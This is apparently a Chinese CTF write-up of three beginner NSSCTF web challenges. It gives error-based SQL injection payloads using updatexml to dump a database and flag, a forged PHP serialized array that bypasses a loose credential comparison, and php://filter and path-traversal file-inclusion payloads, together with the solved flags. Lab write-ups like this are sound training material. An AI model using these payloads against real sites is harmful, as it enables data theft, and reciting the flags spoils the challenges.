[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error

报错注入:?id='and updatexml(1,concat(0x7e,database(),0x7e),1) --+

爆出了数据库名称 test_db

爆表名:?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="test_db"),0x7e),1) --+

发现了一个users表

爆字段名:?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="test_tb"),0x7e),1) --+

发现爆出了flag和id

?id='and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1) --+

发现flag并没有完全显示出来,应该是长度不够

?id='and updatexml(1,concat(0x7e,mid((select flag from test_tb),32,31),0x7e),1) --+

爆出后面的字段

NSSCTF{b4d5a3d7-f2a5-4085-a973-05b4926b9325}

[HUBUCTF 2022 新生赛]checkin

这是让我们输入usernam 和password 分别等于this_is_secret 和this_is_not_known_to_you 然后有GET传参,然后把传参转换成反序了化(unserialize) 如果等于输出flg反之输出username or password error!

我们先试试传参反序列化

复制代码
<?php
$a['username']  = "this_is_secret"; 
$a['password']  = "this_is_not_known_to_you"; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

发现没有显示

发现失败,有一句提示说 here I changed those two ,可能是flag.php改变了这两个值,

说要穿两个正确值,那我们直接拿true试试

复制代码
<?php
$a['username']  = true; 
$a['password']  = true; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

拿到flag

NSSCTF{3c5912f7-08da-4058-8f0a-ddeaa00b3be4}

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

  • 代码检查 GET 参数 file 的前三个字符是否为 "php"
  • 如果是,就直接包含这个文件
  • 目标是要读取 flag.php 的内容

?file=php://filter/convert.base64-encode/resource=flag.php

我们用这个试试

我们去解析一下b64编码

发现不行,那我们换一个思路

?file=php://filter/resource=../../../flag

NSSCTF{b9f3c77b-6fcd-49ad-aef3-093c962a4abf}

相关推荐
%xiao Q5 小时前
GESP C++五级-202406
android·开发语言·c++
二哈喇子!6 小时前
JavaWeb+Vue分离项目实现增删改查讲解
android
2501_944521596 小时前
Flutter for OpenHarmony 微动漫App实战:推荐动漫实现
android·开发语言·前端·javascript·flutter·ecmascript
2501_944521597 小时前
Flutter for OpenHarmony 微动漫App实战:图片加载实现
android·开发语言·前端·javascript·flutter·php
新镜8 小时前
【Flutter】LTR/RTL 阿拉伯语言/希伯来语言
android·flutter·ios·客户端
初级代码游戏11 小时前
android开发:获取手机IP和UDP广播
android·udp·获取ip
阿杰 AJie12 小时前
MySQL 聚合函数
android·数据库·mysql
孟秋与你13 小时前
【安卓】开发一个读取文件信息的简易apk
android
42nf13 小时前
Android Launcher3添加负一屏
android·launcher3·android负一屏
LcVong13 小时前
老版本Android源码在新版本IDE打开的常规报错及解决方案
android·ide